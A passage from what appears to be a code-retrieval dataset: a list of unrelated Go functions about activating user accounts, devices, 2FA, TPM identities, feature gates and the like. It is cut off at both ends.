tblActivationTokens\n\t\t\t\tON tblActivationTokens.fldFKUserID = tblUsers.fldID\n\t\t\t\tWHERE fldEmail = ?;`\n\n\tstmt, err := globals.Db.Prepare(sqlStmt)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer stmt.Close()\n\n\tvar isActivated int\n\terr = stmt.QueryRow(e).Scan(&isActivated)\n\tif err != nil {\n\t\t// No rows found\n\t\tif err == sql.ErrNoRows {\n\t\t\treturn false\n\t\t}\n\t\t// Something else went wrong\n\t\tlog.Fatal(err)\n\t}\n\t// User is not activated\n\tif isActivated == 0 {\n\t\treturn false\n\t}\n\n\treturn true\n}", "func (db *Db) activateMerchantAccountTxFunc(id uint64) core_database.CmplxTx {\n\treturn func(ctx context.Context, tx *gorm.DB) (interface{}, error) {\n\t\tconst operationType = \"activate_business_account_db_tx\"\n\t\tdb.Logger.Info(\"starting transaction\")\n\n\t\tif id == 0 {\n\t\t\treturn false, service_errors.ErrInvalidInputArguments\n\t\t}\n\n\t\taccount, err := db.GetMerchantAccountById(ctx, id, false)\n\t\tif err != nil {\n\t\t\treturn false, err\n\t\t}\n\n\t\tif account.IsActive {\n\t\t\treturn true, nil\n\t\t}\n\n\t\tif err := db.Conn.Engine.Model(&models.MerchantAccountORM{}).Where(\"id\", account.Id).Update(\"is_active\", \"true\").Error; err != nil {\n\t\t\treturn false, err\n\t\t}\n\n\t\treturn true, nil\n\t}\n}", "func (a *apiServer) ActivateAuth(ctx context.Context, req *pps.ActivateAuthRequest) (*pps.ActivateAuthResponse, error) {\n\tvar resp *pps.ActivateAuthResponse\n\tif err := a.txnEnv.WithWriteContext(ctx, func(txnCtx *txncontext.TransactionContext) error {\n\t\tvar err error\n\t\tresp, err = a.ActivateAuthInTransaction(txnCtx, req)\n\t\treturn err\n\t}); err != nil {\n\t\treturn nil, err\n\t}\n\treturn resp, nil\n}", "func (handler *Handler) handleUserActivationGet(w http.ResponseWriter, r *http.Request) {\n\n\t//Now get the email that was passed in\n\tkeys, ok := r.URL.Query()[\"email\"]\n\n\t//Only take the first one\n\tif !ok || len(keys[0]) < 1 {\n\t\tutils.ReturnJsonStatus(w, http.StatusUnprocessableEntity, false, \"activation_token_missing_email\")\n\t}\n\n\t//Get the email\n\temail := keys[0]\n\n\t//Look up the user\n\tuser, err := handler.userHelper.GetUserByEmail(email)\n\n\t//If there is an error just return, we don't want people to know if there was an email here\n\tif err != nil {\n\t\tutils.ReturnJsonStatus(w, http.StatusOK, true, \"activation_token_request_received\")\n\t\treturn\n\t}\n\n\t//Now issue a request\n\t//If the user is not already active\n\tif user.Activated() {\n\t\tutils.ReturnJsonStatus(w, http.StatusOK, true, \"activation_token_request_received\")\n\t}\n\t//Else issue the request\n\terr = handler.userHelper.IssueActivationRequest(handler.userHelper.passwordHelper.TokenGenerator(), user.Id(), user.Email())\n\n\t//There was a real error return\n\tif err != nil {\n\t\tutils.ReturnJsonError(w, http.StatusNotFound, err)\n\t\treturn\n\t}\n\n\t//Now just return\n\tutils.ReturnJsonStatus(w, http.StatusOK, true, \"activation_token_request_received\")\n\n}", "func (db *database) ActivatePerson(ctx context.Context, personID int) error {\n\tresult, err := db.ExecContext(ctx, `\n\t\tUPDATE person SET\n\t\t\tis_deactivated = FALSE\n\t\tWHERE person_id = $1\n\t`, personID)\n\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to activate person\")\n\t}\n\n\tn, err := result.RowsAffected()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to check result of person activation\")\n\t} else if n != 1 {\n\t\treturn errors.Wrapf(\n\t\t\tapp.ErrNotFound,\n\t\t\t\"no such person by id of %d\", personID,\n\t\t)\n\t}\n\n\treturn nil\n}", "func (r *NucypherAccountRepository) Reactivate(updatedBy string, accountID int, now time.Time) error {\n\n\t_, err := r.store.db.NamedExec(`UPDATE nucypher_accounts \n\tSET is_active=true, updated_by=:updated_by, updated_at=:updated_at \n\tWHERE (created_by=:updated_by AND account_id=:account_id AND is_active=false)`,\n\t\tmap[string]interface{}{\n\t\t\t\"updated_by\": updatedBy,\n\t\t\t\"account_id\": accountID,\n\t\t\t\"updated_at\": now,\n\t\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n\n}", "func SendActivationEmail(user models.User) {\n\ttitle := \"Welcome to Calagora!\"\n\tparagraphs := []interface{}{\n\t\t\"Welcome to Calagora, \" + user.DisplayName + \"!\",\n\t\t\"You've successfully created an account with the username \" +\n\t\t\tuser.Username + \".\",\n\t\t\"In order to complete your registration, you just need to \" +\n\t\t\t\"activate your account.\",\n\t\t\"To do this, copy and paste this link into your address bar:\",\n\t\tmakeURLLink(\"https://www.calagora.com/user/activate/\" +\n\t\t\tstrconv.Itoa(user.ID) + \"/\" + user.Activation),\n\t\t\"After you activate your account, you can make offers on \" +\n\t\t\t\"listings, create your own listings, and chat with sellers or \" +\n\t\t\t\"buyers through the site!\",\n\t}\n\temail := &utils.Email{\n\t\tTo: []string{user.EmailAddress},\n\t\tFrom: Base.AutomatedEmail,\n\t\tSubject: title,\n\t\tFormattedText: GenerateHTML(title, paragraphs),\n\t\tPlainText: GeneratePlain(title, paragraphs),\n\t}\n\tBase.EmailChannel <- email\n}", "func (a *DeviceAPI) Activate(ctx context.Context, req *api.ActivateDeviceRequest) (*empty.Empty, error) {\n\tvar response empty.Empty\n\tif req.DeviceActivation == nil {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"device_activation must not be nil\")\n\t}\n\n\tvar devAddr lorawan.DevAddr\n\tvar devEUI lorawan.EUI64\n\tvar appSKey lorawan.AES128Key\n\tvar nwkSEncKey lorawan.AES128Key\n\tvar sNwkSIntKey lorawan.AES128Key\n\tvar fNwkSIntKey lorawan.AES128Key\n\n\tif err := devAddr.UnmarshalText([]byte(req.DeviceActivation.DevAddr)); err != nil {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"devAddr: %s\", err)\n\t}\n\tif err := devEUI.UnmarshalText([]byte(req.DeviceActivation.DevEui)); err != nil {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"devEUI: %s\", err)\n\t}\n\tif err := appSKey.UnmarshalText([]byte(req.DeviceActivation.AppSKey)); err != nil {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"appSKey: %s\", err)\n\t}\n\tif err := nwkSEncKey.UnmarshalText([]byte(req.DeviceActivation.NwkSEncKey)); err != nil {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"nwkSEncKey: %s\", err)\n\t}\n\tif err := sNwkSIntKey.UnmarshalText([]byte(req.DeviceActivation.SNwkSIntKey)); err != nil {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"sNwkSIntKey: %s\", err)\n\t}\n\tif err := fNwkSIntKey.UnmarshalText([]byte(req.DeviceActivation.FNwkSIntKey)); err != nil {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"fNwkSIntKey: %s\", err)\n\t}\n\n\tif valid, err := devmod.NewValidator(a.st).ValidateNodeAccess(ctx, authcus.Update, devEUI); !valid || err != nil {\n\t\treturn nil, status.Errorf(codes.Unauthenticated, \"authentication failed: %s\", err)\n\t}\n\n\td, err := a.st.GetDevice(ctx, devEUI, false)\n\tif err != nil {\n\t\treturn nil, helpers.ErrToRPCError(err)\n\t}\n\n\tn, err := a.st.GetNetworkServerForDevEUI(ctx, devEUI)\n\tif err != nil {\n\t\treturn nil, helpers.ErrToRPCError(err)\n\t}\n\n\tnsClient, err := a.nsCli.GetNetworkServerServiceClient(n.ID)\n\tif err != nil {\n\t\treturn nil, status.Errorf(codes.Internal, err.Error())\n\t}\n\n\t_, _ = nsClient.DeactivateDevice(ctx, &ns.DeactivateDeviceRequest{\n\t\tDevEui: d.DevEUI[:],\n\t})\n\n\tactReq := ns.ActivateDeviceRequest{\n\t\tDeviceActivation: &ns.DeviceActivation{\n\t\t\tDevEui: d.DevEUI[:],\n\t\t\tDevAddr: devAddr[:],\n\t\t\tNwkSEncKey: nwkSEncKey[:],\n\t\t\tSNwkSIntKey: sNwkSIntKey[:],\n\t\t\tFNwkSIntKey: fNwkSIntKey[:],\n\t\t\tFCntUp: req.DeviceActivation.FCntUp,\n\t\t\tNFCntDown: req.DeviceActivation.NFCntDown,\n\t\t\tAFCntDown: req.DeviceActivation.AFCntDown,\n\t\t},\n\t}\n\n\tif err := a.st.UpdateDeviceActivation(ctx, d.DevEUI, devAddr, appSKey); err != nil {\n\t\treturn nil, status.Errorf(codes.Unknown, \"%v\", err)\n\t}\n\n\t_, err = nsClient.ActivateDevice(ctx, &actReq)\n\tif err != nil {\n\t\treturn nil, status.Errorf(codes.Unknown, \"%v\", err)\n\t}\n\n\tlog.WithFields(log.Fields{\n\t\t\"dev_addr\": devAddr,\n\t\t\"dev_eui\": d.DevEUI,\n\t\t\"ctx_id\": ctx.Value(logging.ContextIDKey),\n\t}).Info(\"device activated\")\n\n\treturn &response, nil\n}", "func (dc *DexClient) ActivateAccount(code string) error {\n\treturn dc.ActivateAccountContext(context.Background(), code)\n}", "func Activate2FA(w http.ResponseWriter, r *http.Request) {\n\tfLog := userMgmtLogger.WithField(\"func\", \"Activate2FA\").WithField(\"RequestID\", r.Context().Value(constants.RequestID)).WithField(\"path\", r.URL.Path).WithField(\"method\", r.Method)\n\tauthCtx := r.Context().Value(constants.HansipAuthentication).(*hansipcontext.AuthenticationContext)\n\tuser, err := UserRepo.GetUserByEmail(r.Context(), authCtx.Subject)\n\tif err != nil {\n\t\tfLog.Errorf(\"UserRepo.GetUserByEmail got %s\", err.Error())\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, fmt.Sprintf(\"subject not found : %s. got %s\", authCtx.Subject, err.Error()))\n\t\treturn\n\t}\n\tif user == nil {\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusNotFound, fmt.Sprintf(\"User email %s not found\", authCtx.Subject), nil, nil)\n\t\treturn\n\t}\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tfLog.Errorf(\"ioutil.ReadAll got %s\", err.Error())\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\n\t\treturn\n\t}\n\tc := &Activate2FARequest{}\n\terr = json.Unmarshal(body, c)\n\tif err != nil {\n\t\tfLog.Errorf(\"json.Unmarshal got %s\", err.Error())\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusBadRequest, \"Malformed json body\", nil, nil)\n\t\treturn\n\t}\n\n\tsecret := totp.SecretFromBase32(user.UserTotpSecretKey)\n\tvalid, err := totp.Authenticate(secret, c.Token, true)\n\tif err != nil {\n\t\tfLog.Errorf(\"totp.GenerateTotpWithDrift got %s\", err.Error())\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\n\t\treturn\n\t}\n\tif !valid {\n\t\tfLog.Errorf(\"Invalid OTP token for %s\", user.Email)\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusNotFound, err.Error(), nil, \"Invalid OTP\")\n\t\treturn\n\t}\n\tcodes, err := UserRepo.GetTOTPRecoveryCodes(r.Context(), user)\n\tif err != nil {\n\t\tfLog.Errorf(\"UserRepo.GetTOTPRecoveryCodes got %s\", err.Error())\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\n\t\treturn\n\t}\n\tresp := Activate2FAResponse{\n\t\tCodes: codes,\n\t}\n\tuser.Enable2FactorAuth = true\n\terr = UserRepo.UpdateUser(r.Context(), user)\n\tif err != nil {\n\t\tfLog.Errorf(\"UserRepo.SaveOrUpdate got %s\", err.Error())\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\n\t\treturn\n\t}\n\thelper.WriteHTTPResponse(r.Context(), w, http.StatusOK, \"2FA Activated\", nil, resp)\n}", "func (dc *DexClient) ActivateAccountContext(ctx context.Context, code string) error {\n\treturn dc.responseOp(ctx, http.MethodGet, fmt.Sprintf(ActivateAccountPath, code), nil, nil)\n}", "func (m *UserResource) ActivateUser(ctx context.Context, userId string, qp *query.Params) (*UserActivationToken, *Response, error) {\n\turl := fmt.Sprintf(\"/api/v1/users/%v/lifecycle/activate\", userId)\n\tif qp != nil {\n\t\turl = url + qp.String()\n\t}\n\n\trq := m.client.CloneRequestExecutor()\n\n\treq, err := rq.WithAccept(\"application/json\").WithContentType(\"application/json\").NewRequest(\"POST\", url, nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tvar userActivationToken *UserActivationToken\n\n\tresp, err := rq.Do(ctx, req, &userActivationToken)\n\tif err != nil {\n\t\treturn nil, resp, err\n\t}\n\n\treturn userActivationToken, resp, nil\n}", "func (client IdentityClient) activateMfaTotpDevice(ctx context.Context, request common.OCIRequest, binaryReqBody *common.OCIReadSeekCloser, extraHeaders map[string]string) (common.OCIResponse, error) {\n\n\thttpRequest, err := request.HTTPRequest(http.MethodPost, \"/users/{userId}/mfaTotpDevices/{mfaTotpDeviceId}/actions/activate\", binaryReqBody, extraHeaders)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar response ActivateMfaTotpDeviceResponse\n\tvar httpResponse *http.Response\n\thttpResponse, err = client.Call(ctx, &httpRequest)\n\tdefer common.CloseBodyIfValid(httpResponse)\n\tresponse.RawResponse = httpResponse\n\tif err != nil {\n\t\treturn response, err\n\t}\n\n\terr = common.UnmarshalResponse(httpResponse, &response)\n\treturn response, err\n}", "func (m *Mailer) SendActivationMail(u *model.User, token string) error {\n\treturn m.act.Do(u.Email, m.cnt.GetActivationMail(u.Nickname, token))\n}", "func ActivateIdentity(rw io.ReadWriter, aikAuth []byte, ownerAuth []byte, aik tpmutil.Handle, asym, sym []byte) ([]byte, error) {\n\t// Run OIAP for the AIK.\n\toiaprAIK, err := oiap(rw)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to start OIAP session: %v\", err)\n\t}\n\n\t// Run OSAP for the owner, reading a random OddOSAP for our initial command\n\t// and getting back a secret and a handle.\n\tsharedSecretOwn, osaprOwn, err := newOSAPSession(rw, etOwner, khOwner, ownerAuth)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to start OSAP session: %v\", err)\n\t}\n\tdefer osaprOwn.Close(rw)\n\tdefer zeroBytes(sharedSecretOwn[:])\n\n\tauthIn := []interface{}{ordActivateIdentity, tpmutil.U32Bytes(asym)}\n\tca1, err := newCommandAuth(oiaprAIK.AuthHandle, oiaprAIK.NonceEven, nil, aikAuth, authIn)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"newCommandAuth failed: %v\", err)\n\t}\n\tca2, err := newCommandAuth(osaprOwn.AuthHandle, osaprOwn.NonceEven, nil, sharedSecretOwn[:], authIn)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"newCommandAuth failed: %v\", err)\n\t}\n\n\tsymkey, ra1, ra2, ret, err := activateIdentity(rw, aik, asym, ca1, ca2)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"activateIdentity failed: %v\", err)\n\t}\n\n\t// Check response authentication.\n\traIn := []interface{}{ret, ordActivateIdentity, symkey}\n\tif err := ra1.verify(ca1.NonceOdd, aikAuth, raIn); err != nil {\n\t\treturn nil, fmt.Errorf(\"aik resAuth failed to verify: %v\", err)\n\t}\n\n\tif err := ra2.verify(ca2.NonceOdd, sharedSecretOwn[:], raIn); err != nil {\n\t\treturn nil, fmt.Errorf(\"owner resAuth failed to verify: %v\", err)\n\t}\n\n\tcred, err := unloadTrspiCred(sym)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unloadTrspiCred failed: %v\", err)\n\t}\n\tvar (\n\t\tblock cipher.Block\n\t\tiv []byte\n\t\tciphertxt []byte\n\t\tsecret []byte\n\t)\n\tswitch id := symkey.AlgID; id {\n\tcase AlgAES128:\n\t\tblock, err = aes.NewCipher(symkey.Key)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"aes.NewCipher failed: %v\", err)\n\t\t}\n\t\tiv = cred[:aes.BlockSize]\n\t\tciphertxt = cred[aes.BlockSize:]\n\t\tsecret = ciphertxt\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"%v is not a supported session key algorithm\", id)\n\t}\n\tswitch es := symkey.EncScheme; es {\n\tcase esSymCTR:\n\t\tstream := cipher.NewCTR(block, iv)\n\t\tstream.XORKeyStream(secret, ciphertxt)\n\tcase esSymOFB:\n\t\tstream := cipher.NewOFB(block, iv)\n\t\tstream.XORKeyStream(secret, ciphertxt)\n\tcase esSymCBCPKCS5:\n\t\tmode := cipher.NewCBCDecrypter(block, iv)\n\t\tmode.CryptBlocks(secret, ciphertxt)\n\t\t// Remove PKCS5 padding.\n\t\tpadlen := int(secret[len(secret)-1])\n\t\tsecret = secret[:len(secret)-padlen]\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"%v is not a supported encryption scheme\", es)\n\t}\n\n\treturn secret, nil\n}", "func (s *MemStore) Activate(deviceID string, requestID string) (common.Role, error) {\n\trole, ok := s.act[requestID]\n\tif !ok {\n\t\treturn common.RoleNone, common.ErrorInvalidActivationRequest\n\t}\n\t// prevent reuse !\n\tdelete(s.act, requestID)\n\t// Do the actual activation\n\ts.did[deviceID] = role\n\treturn role, nil\n}", "func (a *Ability) Activate(activated bool) {\n\ta.m.Lock()\n\tdefer a.m.Unlock()\n\ta.activated = activated\n}", "func (im InputMethod) InstallAndActivateUserAction(uc *useractions.UserContext) action.Action {\n\treturn uiauto.UserAction(\n\t\t\"Add and activate input method via Chromium API\",\n\t\tim.InstallAndActivate(uc.TestAPIConn()),\n\t\tuc, &useractions.UserActionCfg{\n\t\t\tAttributes: map[string]string{\n\t\t\t\tuseractions.AttributeFeature: useractions.FeatureIMEManagement,\n\t\t\t\tuseractions.AttributeInputMethod: im.Name,\n\t\t\t},\n\t\t},\n\t)\n}", "func (db *Db) ActivateAccount(ctx context.Context, id uint64) (bool, error) {\n\tconst operationType = \"activate_business_account_db_op\"\n\tdb.Logger.Info(fmt.Sprintf(\"activate business account database operation. id: %d\", id))\n\n\ttx := db.activateMerchantAccountTxFunc(id)\n\tresult, err := db.Conn.PerformComplexTransaction(ctx, tx)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\topStatus, ok := result.(bool)\n\tif !ok {\n\t\treturn false, service_errors.ErrFailedToCastToType\n\t}\n\n\treturn opStatus, nil\n}", "func (db *DB) ActivateLoginToken(ctx context.Context, token string) (string, error) {\n\trow := db.sql.QueryRowContext(ctx, `UPDATE login_tokens\n\t\t\t\t\t\t\t\t\t\tSET (used) = (true)\n\t\t\t\t\t\t\t\t\t\tWHERE token = $1\n\t\t\t\t\t\t\t\t\t\tAND expires_at > now()\n\t\t\t\t\t\t\t\t\t\tAND used = false\n\t\t\t\t\t\t\t\t\t\tRETURNING user_id;`, token)\n\n\tvar userID string\n\terr := row.Scan(&userID)\n\tif err != nil {\n\t\tif err == sql.ErrNoRows {\n\t\t\treturn \"\", errors.New(\"token invalid\")\n\t\t}\n\t\treturn \"\", err\n\t}\n\n\treturn userID, nil\n}", "func Activater(c *gin.Context) {\n\tid := stringToUUID(c.Param(\"id\"))\n\tdataBase := database.GetDatabase()\n\tinfo, err := dataBase.GetURLByID(id)\n\n\tif err != nil { // if record not found\n\t\thandleDataBaseError(c, err)\n\t} else {\n\t\tmonitor := mt.GetMonitor()\n\t\tif info.Crawling == false { // if url was Inactivated\n\t\t\tinfo.Crawling = true\n\t\t\tinfo.FailureCount = 0\n\t\t\tinfo.Status = \"active\"\n\t\t\terr := dataBase.UpdateDatabase(info)\n\t\t\tif err != nil { //database update fails\n\t\t\t\thandleDataBaseError(c, err)\n\t\t\t} else {\n\t\t\t\tmonitor.StartMonitoring(info) //start Monitoring\n\t\t\t\tc.String(http.StatusOK, \"Activated \")\n\t\t\t}\n\t\t} else { // else error already activated\n\t\t\tmsg := fmt.Sprintf(\"Error!!!!! Already activated \")\n\t\t\tc.String(http.StatusNotAcceptable, msg)\n\t\t}\n\t}\n}", "func (db *DB) ActiveUserFromKey(ctx context.Context, key string) (string, error) {\n\trow := db.sql.QueryRowContext(ctx, `SELECT user_id \n\t\t\t\t\t\t\t\t\t\tFROM sessions \n\t\t\t\t\t\t\t\t\t\tWHERE key = $1\n\t\t\t\t\t\t\t\t\t\tAND active = true;`, key)\n\n\tvar userID string\n\terr := row.Scan(&userID)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn userID, nil\n}", "func (h Handler) Activate(ctx context.Context, request *proto.Identifier) (*proto.Message, error) {\n\terr := h.meta.SetStatus(ctx, request.UserID, verified)\n\terr = errors.Wrap(err, \"Error while changing status\")\n\treturn &proto.Message{}, err\n}", "func Activate(sessionID int64, deployment DeploymentOptions) error {\n\tif deployment.IsCloud() {\n\t\treturn fmt.Errorf(\"activate is not supported with %s target\", deployment.Target.Type())\n\t}\n\tu, err := deployment.url(fmt.Sprintf(\"/application/v2/tenant/default/session/%d/active\", sessionID))\n\tif err != nil {\n\t\treturn err\n\t}\n\treq, err := http.NewRequest(\"PUT\", u.String(), nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tserviceDescription := \"Deploy service\"\n\tresponse, err := deployment.HTTPClient.Do(req, time.Second*30)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer response.Body.Close()\n\treturn checkResponse(req, response, serviceDescription)\n}", "func VerifyUserAccount(c *gin.Context) {\n\n\tverificationToken := c.Param(\"token\")\n\n\tvar item models.User\n\n\tif config.DB.First(&item, \"verification_token = ?\", verificationToken).RecordNotFound() {\n\t\tc.JSON(404, gin.H{\n\t\t\t\"status\": \"error\",\n\t\t\t\"message\": \"record not found\"})\n\t\tc.Abort()\n\t\treturn\n\t}\n\n\tconfig.DB.Model(&item).Where(\"id = ?\", item.ID).Updates(models.User{\n\t\tIsActivate: true,\n\t})\n\n\tc.JSON(200, gin.H{\n\t\t\"status\": \"Success, your account is now active. Please Login to your account\",\n\t\t\"data\": item,\n\t})\n}", "func (p *ProcessDefinition) ActivateOrSuspendByKey(req ReqActivateOrSuspendByKey) error {\n\treturn p.client.doPutJson(\"/process-definition/suspended\", map[string]string{}, &req)\n}", "func ActivateTrial() int {\n\tstatus := C.ActivateTrial()\n\treturn int(status)\n}", "func (l *Lookup) Activate(profileID string) error {\n\t// apiVersion is not initialized, run a quick tasting\n\tif l.apiVersion == proto.ProtocolInvalid {\n\t\tl.taste(true)\n\t}\n\n\tswitch l.apiVersion {\n\tcase proto.ProtocolTwo:\n\t\treturn l.v2ActivateProfile(profileID)\n\t}\n\n\treturn ErrProtocol\n}", "func (c *cloudChannelRESTClient) ActivateEntitlementOperation(name string) *ActivateEntitlementOperation {\n\toverride := fmt.Sprintf(\"/v1/%s\", name)\n\treturn &ActivateEntitlementOperation{\n\t\tlro: longrunning.InternalNewOperation(*c.LROClient, &longrunningpb.Operation{Name: name}),\n\t\tpollPath: override,\n\t}\n}", "func TestActivateAsRobotUser(t *testing.T) {\n\tif testing.Short() {\n\t\tt.Skip(\"Skipping integration tests in short mode\")\n\t}\n\tdeleteAll(t)\n\n\tclient := seedClient.WithCtx(context.Background())\n\tresp, err := client.Activate(client.Ctx(), &auth.ActivateRequest{\n\t\tSubject: \"robot:deckard\",\n\t})\n\trequire.NoError(t, err)\n\tclient.SetAuthToken(resp.PachToken)\n\twhoAmI, err := client.WhoAmI(client.Ctx(), &auth.WhoAmIRequest{})\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"robot:deckard\", whoAmI.Username)\n\n\t// Make sure the robot token has no TTL\n\trequire.Equal(t, int64(-1), whoAmI.TTL)\n\n\t// Make \"admin\" an admin, so that auth can be deactivated\n\tclient.ModifyAdmins(client.Ctx(), &auth.ModifyAdminsRequest{\n\t\tAdd: []string{\"admin\"},\n\t\tRemove: []string{\"robot:deckard\"},\n\t})\n}", "func GetActivationCode(input *User) (*User, error) {\n\tuser := getUserByEmail(input.Email)\n\n\tif user == nil {\n\t\treturn nil, fmt.Errorf(\"Invalid email.\")\n\t} else if user.ActivationCode == nil {\n\t\treturn nil, fmt.Errorf(\"User has already been activated.\")\n\t}\n\n\treturn user, nil\n}", "func (f *FeatureGateClient) setActivated(ctx context.Context, gate *corev1alpha2.FeatureGate, featureName string) error {\n\tfor i := range gate.Spec.Features {\n\t\tif gate.Spec.Features[i].Name == featureName {\n\t\t\tgate.Spec.Features[i].Activate = true\n\t\t\treturn f.crClient.Update(ctx, gate)\n\t\t}\n\t}\n\treturn fmt.Errorf(\"could not activate Feature %s as it was not found in FeatureGate %s: %w\", featureName, gate.Name, ErrTypeNotFound)\n}", "func (m *Mailer) SendUserActivatedMail(email string) error {\n\treturn m.act.Do(email, m.cnt.GetUserActivatedMail())\n}", "func (im InputMethod) Activate(tconn *chrome.TestConn) action.Action {\n\tf := func(ctx context.Context, fullyQualifiedIMEID string) error {\n\t\tactiveIME, err := ActiveInputMethod(ctx, tconn)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"failed to get active input method\")\n\t\t}\n\t\tif activeIME.Equal(im) {\n\t\t\treturn nil\n\t\t}\n\n\t\tif err := tconn.Call(ctx, nil, `chrome.inputMethodPrivate.setCurrentInputMethod`, fullyQualifiedIMEID); err != nil {\n\t\t\treturn errors.Wrapf(err, \"failed to set current input method to %q\", fullyQualifiedIMEID)\n\t\t}\n\t\treturn im.WaitUntilActivated(tconn)(ctx)\n\t}\n\treturn im.actionWithFullyQualifiedID(tconn, f)\n}", "func (o *signalHandler) Activate(activation Activation) error {\n\to.serviceID = activation.ServiceID\n\to.objectID = activation.ObjectID\n\treturn nil\n}", "func (o *signalHandler) Activate(activation Activation) error {\n\to.serviceID = activation.ServiceID\n\to.objectID = activation.ObjectID\n\treturn nil\n}", "func inactivateWorkItem(item WorkItem, request IDSRequest) {\n\tvalue := workItemMap[item.ID]\n\tvalue.Active = false\n\t//value.TimesCoded++\n\tworkItemMap[item.ID] = value\n\tworkDB.persistWorkItem(value)\n\n\t// update the User's WorkItem list on disk\n\tuser, getUsrError := labsDB.getUser(request.LabKey, request.Username)\n\tif getUsrError != nil {\n\t\treturn\n\t}\n\tuser.inactivateWorkItem(value)\n\tlabsDB.setUser(user)\n}", "func (n *Neuron) Activate(x float32, training bool) float32 {\r\n\treturn GetActivation(n.A).F(x, training)\r\n}", "func (h *JwtHandler) UpdateActivationJWT(w http.ResponseWriter, r *http.Request, params httprouter.Params) {\n\tactStore, ok := h.jwtStore.(store.JWTActivationStore)\n\tif !ok {\n\t\th.sendErrorResponse(http.StatusBadRequest, \"activations are not supported\", \"\", nil, w)\n\t\treturn\n\t}\n\n\ttheJWT, err := io.ReadAll(r.Body)\n\tdefer r.Body.Close()\n\tif err != nil {\n\t\th.sendErrorResponse(http.StatusBadRequest, \"bad activation JWT in request\", \"\", err, w)\n\t\treturn\n\t}\n\n\tclaim, err := jwt.DecodeActivationClaims(string(theJWT))\n\n\tif err != nil || claim == nil {\n\t\th.sendErrorResponse(http.StatusBadRequest, \"bad activation JWT in request\", \"\", err, w)\n\t\treturn\n\t}\n\n\tif !nkeys.IsValidPublicOperatorKey(claim.Issuer) && !nkeys.IsValidPublicAccountKey(claim.Issuer) {\n\t\th.sendErrorResponse(http.StatusBadRequest, \"bad activation JWT Issuer in request\", claim.Issuer, err, w)\n\t\treturn\n\t}\n\n\tif !nkeys.IsValidPublicAccountKey(claim.Subject) {\n\t\th.sendErrorResponse(http.StatusBadRequest, \"bad activation JWT Subject in request\", claim.Subject, err, w)\n\t\treturn\n\t}\n\n\thash, err := claim.HashID()\n\n\tif err != nil {\n\t\th.sendErrorResponse(http.StatusBadRequest, \"bad activation hash in request\", claim.Issuer, err, w)\n\t\treturn\n\t}\n\n\tif err := actStore.SaveAct(hash, string(theJWT)); err != nil {\n\t\th.sendErrorResponse(http.StatusInternalServerError, \"error saving activation JWT\", claim.Issuer, err, w)\n\t\treturn\n\t}\n\n\tif h.sendActivationNotification != nil {\n\t\tif err := h.sendActivationNotification(hash, claim.Issuer, theJWT); err != nil {\n\t\t\th.sendErrorResponse(http.StatusInternalServerError, \"error saving activation JWT\", claim.Issuer, err, w)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// hash insures that exports has len > 0\n\th.logger.Noticef(\"updated activation JWT - %s-%s - %q\",\n\t\tShortKey(claim.Issuer), ShortKey(claim.Subject), claim.ImportSubject)\n\tw.WriteHeader(http.StatusOK)\n}", "func (c *cloudChannelGRPCClient) ActivateEntitlementOperation(name string) *ActivateEntitlementOperation {\n\treturn &ActivateEntitlementOperation{\n\t\tlro: longrunning.InternalNewOperation(*c.LROClient, &longrunningpb.Operation{Name: name}),\n\t}\n}", "func (r *NucypherAccountRepository) Deactivate(updatedBy string, accountID int, now time.Time) error {\n\n\t_, err := r.store.db.Exec(`UPDATE nucypher_accounts \n\tSET is_active=false, updated_by=$1, updated_at=$3 \n\tWHERE (created_by=$1 AND account_id=$2)`,\n\t\tupdatedBy,\n\t\taccountID,\n\t\tnow,\n\t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n\n}", "func WithActivation(activateAfter *time.Time) SecretOption {\n\treturn func(op *Options) {\n\t\top.Activates = activateAfter\n\t}\n}", "func SendActivateEmailMail(c *macaron.Context, u *models.User, email *models.EmailAddress) {\n\tdata := ComposeTplData(u)\n\tdata[\"Code\"] = u.GenerateEmailActivateCode(email.Email)\n\tdata[\"Email\"] = email.Email\n\tbody, err := c.HTMLString(string(AUTH_ACTIVATE_EMAIL), data)\n\tif err != nil {\n\t\tlog.Error(4, \"HTMLString: 